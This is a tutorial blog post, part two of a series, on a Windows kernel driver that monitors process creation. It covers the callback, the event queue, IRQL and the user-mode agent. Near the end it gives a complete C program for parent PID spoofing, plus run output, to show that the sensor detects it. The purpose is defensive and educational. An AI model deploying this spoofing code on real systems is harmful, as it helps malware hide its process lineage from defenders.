In Part 1, we built a “hello world” driver: it creates a device, setup a dispatch table to route IRPs, and exposes an IOCTL the agent calls to pull a fixed greeting: "hello from kernel".
Now, we make the telemetry real. By the end of this post, the same IOCTL will return a live stream of process starts and exits, the parent process, and the image name Windows supplied. This is when the driver transitions from a toy to a functioning sensor.
Same caveat as in the previous part: this is a test-signed kernel driver. A single bug can bluescreen the machine. Run it on a VM or a machine you’re willing to break, with
bcdedit /set testsigning onand a reboot.The source code for this post is on GitHub, tagged
blog-02. Diff it against the previous part to see the changes:blog-01..blog-02.
The shape of an event
In Part 1, the “protocol” was a string. That doesn’t scale: a process event needs a PID, a parent PID, and an image path; a future network event will need addresses and ports. Different events carry different fields and have different sizes, yet they all have to travel through one buffer.
We define AEGIS_EVENT_HEADER, a structure containing the common fields for every event: size, type, sequence number, and timestamp.
typedef struct _AEGIS_EVENT_HEADER {
unsigned short Size; /* total bytes: this header + payload */
unsigned short Type; /* one of AEGIS_EVENT_TYPE */
unsigned long Sequence; /* enqueue order; gaps can reveal eviction */
LARGE_INTEGER Timestamp; /* system time, 100ns units since 1601 */
} AEGIS_EVENT_HEADER, *PAEGIS_EVENT_HEADER;
common/AegisDriverProtocol.h L47–L52
Although this post focuses on process events, we want to design the event format to allow for other event types in the future. To do this, we define an enum for the event types:
typedef enum _AEGIS_EVENT_TYPE {
AegisEvtProcessCreate = 1,
AegisEvtProcessExit = 2,
AegisEvtThreadCreate = 3, /* reserved - future module */
AegisEvtImageLoad = 4, /* reserved - future module */
AegisEvtFileOp = 5, /* reserved - minifilter */
AegisEvtNetConn = 6, /* reserved - WFP callout */
} AEGIS_EVENT_TYPE;
common/AegisDriverProtocol.h L35–L42
Here is the payload structure for process events:
typedef struct _AEGIS_PROCESS_EVENT {
unsigned long ProcessId;
unsigned long ParentProcessId;
unsigned long CreatingProcessId; /* process owning the creating thread */
unsigned short ImagePathLength; /* WCHAR count in ImagePath, no NUL */
unsigned char ImagePathExact; /* exact source name and not truncated */
unsigned char Reserved;
wchar_t ImagePath[AEGIS_MAX_PATH];
} AEGIS_PROCESS_EVENT, *PAEGIS_PROCESS_EVENT;
common/AegisDriverProtocol.h L55–L63
You may notice that ParentProcessId and CreatingProcessId seem redundant. Shouldn’t they be the same? Not quite; we’ll return to this discrepancy shortly.
Watching processes
Now for the exciting part: how do we know when a process starts or exits in the kernel?
Windows provides a callback mechanism for monitoring process lifecycle events. Every time a process is created or exits, the kernel walks through a list of registered callbacks and invokes them. We can register our own callback to receive these notifications.
We register our callback using the PsSetCreateProcessNotifyRoutineEx function. It takes two parameters: a pointer to our callback function and a boolean indicating whether we want to remove (TRUE) or add (FALSE) the callback.
NTSTATUS
ProcessMonStart(void)
{
NTSTATUS status = PsSetCreateProcessNotifyRoutineEx(ProcessNotify, FALSE);
if (NT_SUCCESS(status)) {
g_Registered = TRUE;
} else {
/* Usually STATUS_ACCESS_DENIED if the image wasn't linked /INTEGRITYCHECK. */
DbgPrint("[AegisMon] ProcessMon register failed 0x%08X\n", status);
}
return status;
}
driver/modules/ProcessMon.c L53–L64
The callback
static void
ProcessNotify(_Inout_ PEPROCESS Process, _In_ HANDLE ProcessId,
_Inout_opt_ PPS_CREATE_NOTIFY_INFO CreateInfo)
{
AEGIS_PROCESS_EVENT ev;
UNREFERENCED_PARAMETER(Process);
RtlZeroMemory(&ev, sizeof(ev));
ev.ProcessId = (ULONG)(ULONG_PTR)ProcessId;
if (CreateInfo == NULL) {
/* Process exit: only the PID is meaningful. */
AegisPublish(AegisEvtProcessExit, &ev, sizeof(ev));
return;
}
ev.ParentProcessId = (ULONG)(ULONG_PTR)CreateInfo->ParentProcessId;
ev.CreatingProcessId = (ULONG)(ULONG_PTR)CreateInfo->CreatingThreadId.UniqueProcess;
if (CreateInfo->ImageFileName != NULL && CreateInfo->ImageFileName->Buffer != NULL) {
USHORT chars = CreateInfo->ImageFileName->Length / sizeof(WCHAR);
ev.ImagePathExact = CreateInfo->FileOpenNameAvailable ? 1 : 0;
if (chars > AEGIS_MAX_PATH - 1) {
chars = AEGIS_MAX_PATH - 1;
ev.ImagePathExact = 0;
}
RtlCopyMemory(ev.ImagePath, CreateInfo->ImageFileName->Buffer, chars * sizeof(WCHAR));
ev.ImagePath[chars] = L'\0';
ev.ImagePathLength = chars;
}
DbgPrint("[AegisMon] create pid=%lu ppid=%lu img=%ws\n",
ev.ProcessId, ev.ParentProcessId, ev.ImagePath);
AegisPublish(AegisEvtProcessCreate, &ev, sizeof(ev));
}
driver/modules/ProcessMon.c L14–L51
The kernel passes three arguments to our callback:
PEPROCESS Process: A pointer to theEPROCESSstructure of the process that is being created or exiting.HANDLE ProcessId: The PID of the process.PPS_CREATE_NOTIFY_INFO CreateInfo: A pointer to a structure containing detailed information about the new process. This isNULLif the process is exiting.
For a process creation event, we pull the parent PID and image name from PS_CREATE_NOTIFY_INFO. ImageFileName is a UNICODE_STRING, so its length is explicit and its buffer is not guaranteed to be null-terminated. When FileOpenNameAvailable is set, the structure contains the exact file-open name; otherwise, Windows may provide only a partial name. Our fixed-size buffer can also truncate long names. The agent therefore treats ImagePathLength as authoritative, and ImagePathExact is true only when Windows supplied an exact name and Aegis stored it without truncation.
After filling the AEGIS_PROCESS_EVENT structure, we call AegisPublish and return. The callback’s job is to translate and publish quickly, never to perform slow operations, because process creation waits for every registered callback to return.
The two parent fields
Now look again at the two fields:
ev.ParentProcessId = (ULONG)(ULONG_PTR)CreateInfo->ParentProcessId;
ev.CreatingProcessId = (ULONG)(ULONG_PTR)CreateInfo->CreatingThreadId.UniqueProcess;
You might think a process has only one parent, but it isn’t that simple. The gap between the requested parent and the creating-thread owner is a classic target for attacker evasion techniques.
Windows kernel callback semantics and separate the two concepts: requested parent versus thread/process that initiated creation.
ParentProcessId: The process Windows records as the logical/inherited parent of the new process.CreatingThreadId.UniqueProcess: The process that owns the actual thread that executed the create operation.
How come they are different?
This discrepancy can happen naturally during normal OS operations. For example, during UAC elevation, a user action starts from explorer.exe, but the actual elevated process creation is brokered by the AppInfo service. Consequently, explorer.exe is recorded as the logical parent (the request origin), while the AppInfo service host (svchost.exe) performs the creation.
However, attackers can also abuse this separation to hide the process that requested creation. By using the PROC_THREAD_ATTRIBUTE_PARENT_PROCESS attribute with the UpdateProcThreadAttribute API, malware launched from a phishing macro can spawn its payload and declare explorer.exe or services.exe as the parent. A naive process tree will show the payload hanging off a trusted system process instead of winword.exe. This is known as Parent PID (PPID) spoofing, and CreateInfo->ParentProcessId reflects the requested parent.
In contrast, CreatingThreadId.UniqueProcess is not changed by PROC_THREAD_ATTRIBUTE_PARENT_PROCESS. It is therefore a stronger signal for detecting parent spoofing than the requested parent alone.
It is not perfect attribution. An attacker that injects code into another process, or otherwise causes that process to perform the creation, can make the creating-thread owner appear trusted. This is why we report both fields and treat the mismatch as one signal rather than proof. The logical parent is useful for understanding process trees and user actions; the creating process is useful for detecting parent spoofing and unexpected brokers.
Crucially, a mismatch between the two is not proof of malicious activity by itself; as we’ll see, an ordinary UAC prompt produces a mismatch as well. Context matters: the creating process might be a known elevation broker, or it might be an unexpected binary running from a temporary folder.
if (CreateInfo->ParentProcessId != CreateInfo->CreatingThreadId.UniqueProcess) {
// brokered creation, explicit parent process attribute,
// service-mediated launch, UAC, suspicious PPID spoofing, etc.
}
The event queue
The callback generates an event, and the user-mode agent wants it. In the previous part, we used a simple IOCTL call to pull a static greeting from the driver. Now we have a stream of events that can arrive at any time, possibly several at once on a busy machine. We need a thread-safe drop box between a producer we don’t control (the kernel callback) and a consumer (the agent) that pulls events on its own schedule. That’s where a queue comes in.
To implement the queue, we use LIST_ENTRY.
typedef struct _LIST_ENTRY {
struct _LIST_ENTRY *Flink;
struct _LIST_ENTRY *Blink;
} LIST_ENTRY, *PLIST_ENTRY, PRLIST_ENTRY;
It is a standard Windows kernel structure that is doubly-linked, well-tested, and provides O(1) insertion and removal.
typedef struct _AEGIS_QUEUE_ENTRY {
LIST_ENTRY ListEntry;
USHORT Bytes; /* valid bytes in Data (header + payload) */
UCHAR Data[1]; /* AEGIS_EVENT_HEADER followed by payload */
} AEGIS_QUEUE_ENTRY, *PAEGIS_QUEUE_ENTRY;
static LIST_ENTRY g_Queue;
static KSPIN_LOCK g_Lock;
driver/core/EventQueue.c L14–L21
void
AegisQueueInit(void)
{
InitializeListHead(&g_Queue);
KeInitializeSpinLock(&g_Lock);
g_Count = 0;
g_Sequence = 0;
}
driver/core/EventQueue.c L25-L32
g_Queue is the head of the queue. It is a LIST_ENTRY that points to the first and last entries in the queue. When the queue is empty, both Flink and Blink point to the head itself.
flowchart LR
Pub["AegisPublish<br/>(producer)"] -. "InsertTailList" .-> E2
H["g_Queue<br/>(list head)"] <--> E0["entry 0<br/>(oldest)"]
E0 <--> E1["entry 1"]
E1 <--> E2["entry 2<br/>(newest)"]
E2 <--> H
Pull["AegisQueuePull<br/>(consumer)"] -. "RemoveHeadList" .-> E0
A circular doubly-linked list: new events are appended at the tail, the consumer drains from the head, so events come out oldest-first (FIFO). When full, the head is evicted to make room at the tail.
g_Lock is a spin lock that protects access to the queue. Only one thread can hold the lock at a time. KSPIN_LOCK is the Windows kernel’s basic spinlock primitive.
Why a spinlock and not something like a mutex?
Introducing IRQL (Interrupt Request Level)
IRQL is a Windows kernel mechanism used to prioritize and control the execution of interrupts and certain kernel operations. It determines what code can run and what operations are permitted at any given moment.
Why is this necessary? Hardware devices can interrupt the CPU at any time (for example, via a keypress or the arrival of a network packet), while the kernel itself must manage time-critical software tasks such as DPCs, scheduling, and spinlock-protected code. If all such work were treated equally, high-priority tasks could be delayed by lower-priority ones, leading to performance issues or even system instability. IRQL allows the kernel to assign different priority levels to interrupts and kernel operations.
A higher IRQL (representing a more urgent priority) means:
- Fewer things the kernel lets you do
- Fewer interrupts can preempt execution
- Fewer blocking operations are permitted
Quick reference for IRQL levels:
| IRQL | Typical work | Waiting | Pageable memory |
|---|---|---|---|
| PASSIVE_LEVEL | Driver initialization, worker threads, this process callback | Permitted | Permitted |
| APC_LEVEL | APC delivery and some memory-manager work | Restricted | Permitted |
| DISPATCH_LEVEL | DPCs and code holding an ordinary spinlock | Forbidden | Forbidden |
| DIRQL | Device interrupt service routines | Forbidden | Forbidden |
| CLOCK_LEVEL | Scheduler timer, clock management | Forbidden | Forbidden |
| HIGH_LEVEL | Rare kernel internals | Forbidden | Forbidden |
Currently, every code path that touches our queue runs at PASSIVE_LEVEL. The process-notify callback runs at PASSIVE_LEVEL inside a critical region with normal kernel APCs disabled, as documented for PCREATE_PROCESS_NOTIFY_ROUTINE_EX. Our IOCTL handler also executes at PASSIVE_LEVEL. For these paths alone, a blocking synchronization primitive such as a fast mutex would be sufficient.
We use a spinlock anyway because the queue is intended as shared infrastructure for future sources. Some filesystem-minifilter and WFP callback paths can execute at DISPATCH_LEVEL. If a future producer publishes at that level, every participant accessing the same queue must use synchronization valid at DISPATCH_LEVEL. A fast mutex no longer qualifies because acquiring it can sleep.
At DISPATCH_LEVEL, code cannot sleep or access pageable memory. KeAcquireSpinLock raises the current IRQL to DISPATCH_LEVEL when necessary and busy-waits until the lock becomes available. It is therefore usable from both PASSIVE_LEVEL and DISPATCH_LEVEL, but the protected section must remain very short.
The tradeoff is that a thread waiting for the lock consumes CPU cycles until the lock is released. AegisPublish therefore performs allocation and payload copying outside the lock. The consumer follows the same rule: it detaches a batch under the lock, then copies and frees those entries after releasing it.
void
AegisPublish(unsigned short type, const void *payload, unsigned short payloadLen)
{
USHORT total;
SIZE_T allocSize;
PAEGIS_QUEUE_ENTRY entry;
PAEGIS_EVENT_HEADER hdr;
KIRQL irql;
PAEGIS_QUEUE_ENTRY evicted = NULL;
/* Reject oversize payloads before the width-limited arithmetic below:
* test payloadLen itself, since header + payloadLen could otherwise wrap
* the USHORT 'total' and slip past the cap. */
if (payloadLen > AEGIS_MAX_EVENT - sizeof(AEGIS_EVENT_HEADER)) {
return; /* payload larger than we are willing to carry */
}
total = (USHORT)(sizeof(AEGIS_EVENT_HEADER) + payloadLen);
allocSize = FIELD_OFFSET(AEGIS_QUEUE_ENTRY, Data) + total;
/* Build the entry outside the lock - allocation and copy don't need it,
* and we want to hold the spinlock for as few instructions as possible. */
entry = (PAEGIS_QUEUE_ENTRY)ExAllocatePool2(POOL_FLAG_NON_PAGED, allocSize, AEGIS_TAG);
if (entry == NULL) {
return;
}
entry->Bytes = total;
hdr = (PAEGIS_EVENT_HEADER)entry->Data;
hdr->Size = total;
hdr->Type = type;
KeQuerySystemTime(&hdr->Timestamp);
if (payloadLen != 0 && payload != NULL) {
RtlCopyMemory(entry->Data + sizeof(AEGIS_EVENT_HEADER), payload, payloadLen);
}
KeAcquireSpinLock(&g_Lock, &irql);
hdr->Sequence = ++g_Sequence;
if (g_Count >= AEGIS_MAX_QUEUED) {
/* Full: make room by dropping the oldest. A slow reader loses history,
* never the newest activity, and the producer never blocks. */
evicted = CONTAINING_RECORD(RemoveHeadList(&g_Queue), AEGIS_QUEUE_ENTRY, ListEntry);
g_Count--;
}
InsertTailList(&g_Queue, &entry->ListEntry);
g_Count++;
KeReleaseSpinLock(&g_Lock, irql);
if (evicted != NULL) {
ExFreePoolWithTag(evicted, AEGIS_TAG);
}
}
driver/core/EventQueue.c L57–L109
AegisPublish enqueues an event into the global queue. It first checks whether the payload size is acceptable, then allocates a new AEGIS_QUEUE_ENTRY from nonpaged pool. It fills in the event header and copies the payload before taking the lock.
After acquiring the spinlock, it assigns the sequence number immediately before insertion. This makes sequence numbers follow queue order even when multiple producers publish concurrently. If the queue is full, it removes the oldest entry, inserts the new entry at the tail, and releases the lock. A gap in sequence numbers observed by the agent can reveal that events were evicted due to queue overflow.
Notice how little happens inside the lock. The spinlock is held only for sequence assignment, queue accounting, and list pointer updates. The evicted allocation is freed after the lock is released.
The consumer side drains the queue into the caller’s buffer:
ULONG
AegisQueuePull(void *buffer, ULONG bufferLen)
{
UCHAR *out = (UCHAR *)buffer;
LIST_ENTRY local;
ULONG selected = 0;
ULONG written = 0;
KIRQL irql;
InitializeListHead(&local);
KeAcquireSpinLock(&g_Lock, &irql);
while (!IsListEmpty(&g_Queue)) {
PAEGIS_QUEUE_ENTRY e;
e = CONTAINING_RECORD(g_Queue.Flink, AEGIS_QUEUE_ENTRY, ListEntry);
if (e->Bytes > bufferLen - selected) {
break;
}
InsertTailList(&local, RemoveHeadList(&g_Queue));
g_Count--;
selected += e->Bytes;
}
KeReleaseSpinLock(&g_Lock, irql);
while (!IsListEmpty(&local)) {
PAEGIS_QUEUE_ENTRY e =
CONTAINING_RECORD(RemoveHeadList(&local),
AEGIS_QUEUE_ENTRY, ListEntry);
RtlCopyMemory(out + written, e->Data, e->Bytes);
written += e->Bytes;
ExFreePoolWithTag(e, AEGIS_TAG);
}
return written;
}
driver/core/EventQueue.c L111–L149
Under the lock, the consumer moves as many complete entries as fit onto a local list. It then releases the spinlock before copying and freeing them. Producers are blocked only during the list operations, not while a potentially large batch is copied.
CONTAINING_RECORD is the classic Windows idiom: the list threads through a LIST_ENTRY field embedded inside each entry, and this macro walks back from that field’s address to the start of the struct that contains it (which is AEGIS_QUEUE_ENTRY).
sequenceDiagram
participant K as Kernel (process create)
participant C as ProcessNotify
participant Q as Event queue
participant A as AegisAgent.exe
K->>C: callback (PS_CREATE_NOTIFY_INFO)
C->>C: fill AEGIS_PROCESS_EVENT
C->>Q: AegisPublish (header + payload)
Note over Q: spinlock, non-paged pool,<br/>drop-oldest when full
A->>Q: IOCTL_AEGIS_GET_EVENTS
Q->>A: AegisQueuePull -> packed batch
Wiring it together
DriverEntry still creates the devices, the symlink, and the dispatch routines, but now it also initializes the queue and starts the process monitor module.
/* Start monitor modules. Add future modules here. */
status = ProcessMonStart();
if (!NT_SUCCESS(status)) {
IoDeleteSymbolicLink(&g_SymLink);
IoDeleteDevice(g_DeviceObject);
g_DeviceObject = NULL;
return status;
}
driver/core/Driver.c L127–L135
ProcessMonStart ties our ProcessNotify callback into the kernel’s process creation notification system.
This ProcessMonStart() call is the only line tying the process monitor into the driver. Each monitor is just a Start/Stop function pair declared in a small module header:
NTSTATUS ProcessMonStart(void);
void ProcessMonStop(void);
driver/modules/Modules.h L11–L12
This is the modular boundary. Adding a thread monitor later requires creating driver/modules/ThreadMon.c, adding two declarations here, and calling ThreadMonStart() in DriverEntry. The underlying transport, including the queue, IOCTL, and user-mode agent, remains unchanged.
The IOCTL handler that returned a static greeting in Part 1 now drains the queue:
if (stack->Parameters.DeviceIoControl.IoControlCode == IOCTL_AEGIS_GET_EVENTS) {
/* METHOD_BUFFERED: SystemBuffer is the one buffer the I/O manager copies
* back to the caller, up to Information bytes. Drain whatever fits. */
ULONG outLen = stack->Parameters.DeviceIoControl.OutputBufferLength;
if (outLen < AEGIS_MAX_EVENT_SIZE) {
status = STATUS_BUFFER_TOO_SMALL;
} else {
info = AegisQueuePull(Irp->AssociatedIrp.SystemBuffer, outLen);
status = STATUS_SUCCESS;
}
}
It uses the same METHOD_BUFFERED mechanics as Part 1, but with a different body. The minimum-size check guarantees that any accepted request can consume the largest event supported by this protocol. The handler then calls AegisQueuePull to fill SystemBuffer with as many queued events as fit and reports the byte count through Information.
Unloading safely
Registering a callback creates an obligation during unload. Before freeing the queue or deleting the device, the driver removes the process callback. Inside ProcessMonStop, PsSetCreateProcessNotifyRoutineEx waits for in-flight callbacks to finish when called with Remove = TRUE, so no producer can publish into torn-down state afterward.
static VOID
AegisUnload(PDRIVER_OBJECT DriverObject)
{
UNREFERENCED_PARAMETER(DriverObject);
ProcessMonStop();
IoDeleteSymbolicLink(&g_SymLink);
if (g_DeviceObject != NULL) {
IoDeleteDevice(g_DeviceObject);
g_DeviceObject = NULL;
}
AegisQueueDrain();
DbgPrint("[AegisMon] unloaded\n");
}
AegisQueueDrain detaches the remaining entries under the spinlock and frees them after releasing it. The same cleanup is used on partial DriverEntry failures.
The agent
On the user-mode agent side, the single-shot read from Part 1 becomes a loop that continuously pulls events from the driver and prints them out.
C_ASSERT(READ_BUFFER >= AEGIS_MAX_EVENT_SIZE);
for (;;) {
DWORD returned = 0;
BOOL ok = DeviceIoControl(h, IOCTL_AEGIS_GET_EVENTS, NULL, 0,
buf, READ_BUFFER, &returned, NULL);
if (!ok) {
fprintf(stderr, "DeviceIoControl failed (error %lu)\n", GetLastError());
break;
}
/* Walk the packed batch. Each event starts with a header whose Size
* spans header + payload, so Size is also the stride to the next one. */
DWORD off = 0;
while (off + sizeof(AEGIS_EVENT_HEADER) <= returned) {
const AEGIS_EVENT_HEADER *evt = (const AEGIS_EVENT_HEADER *)(buf + off);
if (evt->Size < sizeof(AEGIS_EVENT_HEADER) || off + evt->Size > returned) {
break; /* malformed / truncated - stop walking this batch */
}
PrintEvent(evt);
off += evt->Size;
}
if (returned == 0) {
Sleep(IDLE_SLEEP_MS); /* idle: nothing queued */
}
}
A single IOCTL call returns a buffer of bytes that can contain zero, one, or multiple packed events. The agent inspects the header of each event to determine its size, walks through the batch, and passes each event to PrintEvent until all returned data is processed.
This is where the self-describing format pays off. One IOCTL returns returned bytes that may hold zero, one, or many events packed together. The agent reads the header at the current offset, hands the event to PrintEvent, then advances by evt->Size to land on the next header. The bounds checks guard against a truncated tail: if a header claims a size that extends past the received bytes, processing stops before reading beyond the buffer.
C_ASSERT enforces the driver’s minimum-buffer contract at compile time. If a valid pull returns zero bytes because the queue is empty, the agent sleeps for 200 milliseconds before polling again. A later post will replace this simple polling loop with a notification mechanism.
Decoding an event is a switch on the header type:
static void
PrintEvent(const AEGIS_EVENT_HEADER *evt)
{
char ts[16];
FormatTimestamp(evt->Timestamp, ts, sizeof(ts));
switch (evt->Type) {
case AegisEvtProcessCreate: {
const AEGIS_PROCESS_EVENT *p = (const AEGIS_PROCESS_EVENT *)(evt + 1);
if (evt->Size < sizeof(*evt) + sizeof(*p) ||
p->ImagePathLength >= AEGIS_MAX_PATH) {
fprintf(stderr, "[%s] malformed process-create event (%u bytes)\n",
ts, evt->Size);
break;
}
printf("[%s] #%-5lu CREATE pid=%-6lu ppid=%-6lu creator=%-6lu %.*ls%s\n",
ts, evt->Sequence, p->ProcessId, p->ParentProcessId,
p->CreatingProcessId, (int)p->ImagePathLength, p->ImagePath,
p->ImagePathExact ? "" : " [partial-name]");
break;
}
case AegisEvtProcessExit: {
const AEGIS_PROCESS_EVENT *p = (const AEGIS_PROCESS_EVENT *)(evt + 1);
if (evt->Size < sizeof(*evt) + sizeof(*p)) {
fprintf(stderr, "[%s] malformed process-exit event (%u bytes)\n",
ts, evt->Size);
break;
}
printf("[%s] #%-5lu EXIT pid=%-6lu\n", ts, evt->Sequence, p->ProcessId);
break;
}
default:
printf("[%s] #%-5lu type=%u (%u bytes)\n", ts, evt->Sequence, evt->Type, evt->Size);
break;
}
}
The payload sits immediately after the header, which is what (const AEGIS_PROCESS_EVENT *)(evt + 1) means: advance one header and reinterpret the following bytes. Before dereferencing a known payload, the agent verifies that the event is large enough and that the image length is within the array. It prints [partial-name] when Windows did not provide an exact file-open name or when Aegis had to truncate it.
The default case lets the agent skip an unknown event type as long as the common header and Size framing remain compatible. If the driver adds new event types later, old agents can still pull and print the events they understand without breaking on unknown ones.
Running it
Build the project using build.cmd and install the driver with install.ps1. Then, run AegisAgent.exe, and open notepad.exe or cmd.exe to see the events printed in real time.
If you still have the driver from Part 1 loaded, make sure to unload it first by running uninstall.ps1.
With the driver loaded, watch DebugView (from Sysinternals): the DbgPrint statement in the callback fires for every process the system creates in real time. Launch a few programs and the log fills up.

DebugView capturing [AegisMon] create ... as the callback fires for each new process.
Now run the agent and start launching programs such as Notepad or a browser:
[10:39:01.221] #3 CREATE pid=5424 ppid=7176 creator=7176 \??\C:\Users\sonx\projects\aegis\build\AegisAgent.exe
[10:39:09.770] #4 CREATE pid=9200 ppid=816 creator=816 \??\C:\Windows\System32\smartscreen.exe
[10:39:09.848] #5 CREATE pid=3168 ppid=792 creator=792 \??\C:\Windows\system32\consent.exe

AegisAgent pulling the packed event stream and printing each event as it happens.
Let’s examine log entry #10:
[10:58:52.268] #10 CREATE pid=2972 ppid=3792 creator=792 \??\C:\Windows\system32\notepad.exe
Note that ppid != creator. This discrepancy occurs because Notepad was launched as Administrator: the logical parent displayed in the process tree is explorer.exe (PID 3792), while the creating thread belongs to the AppInfo service broker (svchost.exe hosting AppInfo, PID 792). If we tracked only the parent PID, we would miss this brokered creation.
Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName
------- ------ ----- ----- ------ -- -- -----------
2463 97 62692 98844 37.13 3792 1 explorer
1983 54 40304 48868 39.97 792 0 svchost

Notepad.exe is displayed as a child of explorer.exe in Process Explorer.

PPID spoofing in action
How does an attacker abuse this?
#include <Windows.h>
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char* argv[]) {
if (argc < 3) {
printf("Usage: %s <TargetParentPID> <PathToTargetBinary>\n", argv[0]);
return 1;
}
DWORD parentPid = strtoul(argv[1], NULL, 10);
LPCSTR binaryPath = argv[2];
// 1. Open the target parent process with PROCESS_CREATE_PROCESS access
HANDLE hParent = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, parentPid);
if (hParent == NULL) {
printf("Failed to open parent process: %lu\n", GetLastError());
return 1;
}
// 2. Initialize the thread attribute list for parent spoofing
SIZE_T attributeSize = 0;
InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);
LPPROC_THREAD_ATTRIBUTE_LIST attributeList =
(LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, attributeSize);
if (!InitializeProcThreadAttributeList(attributeList, 1, 0, &attributeSize)) {
printf("Failed to initialize attribute list: %lu\n", GetLastError());
return 1;
}
// 3. Update the attribute list to specify the spoofed parent
if (!UpdateProcThreadAttribute(
attributeList, 0,
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
&hParent, sizeof(HANDLE),
NULL, NULL)) {
printf("Failed to update attribute: %lu\n", GetLastError());
return 1;
}
// 4. Set up the STARTUPINFOEX structure
STARTUPINFOEXA si = { 0 };
si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
si.lpAttributeList = attributeList;
PROCESS_INFORMATION pi = { 0 };
// 5. Spawn the target binary using the spoofed parent
BOOL success = CreateProcessA(
NULL,
(LPSTR)binaryPath,
NULL,
NULL,
FALSE,
EXTENDED_STARTUPINFO_PRESENT,
NULL,
NULL,
&si.StartupInfo,
&pi
);
if (success) {
printf("Successfully spawned spoofed process! PID: %lu\n", pi.dwProcessId);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
} else {
printf("CreateProcess failed: %lu\n", GetLastError());
}
// Clean up
DeleteProcThreadAttributeList(attributeList);
HeapFree(GetProcessHeap(), 0, attributeList);
CloseHandle(hParent);
return 0;
}
Compile and run
.\ppid-spoof.exe 3792 C:\Windows\System32\notepad.exe
This creates a notepad.exe process with explorer.exe (PID 3792) as the spoofed parent.
[11:38:28.511] #67 CREATE pid=168 ppid=4028 creator=4028 \??\C:\Users\sonx\AppData\Local\Temp\ppid-spoof.exe
[11:38:28.526] #68 CREATE pid=5580 ppid=3792 creator=168 \??\C:\Windows\System32\notepad.exe


Conclusion
We have successfully turned the communication channel into a sensor. The driver now registers a process-notify callback, wraps each creation and exit event in a structured header, and buffers them in a spinlock-guarded, nonpaged, bounded queue. The user-mode agent pulls this packed stream using the same IOCTL and walks it header by header. Along the way, we covered the relevant IRQL constraints and the parent PID spoofing gap that makes the creating thread’s owner worth recording.
Because every event is a self-describing header plus payload, and every monitor is a Start/Stop pair feeding one queue, later sources can reuse the transport. In the next post, we’ll add thread-creation and image-load callbacks to deliver deeper, more complete visibility into process activity.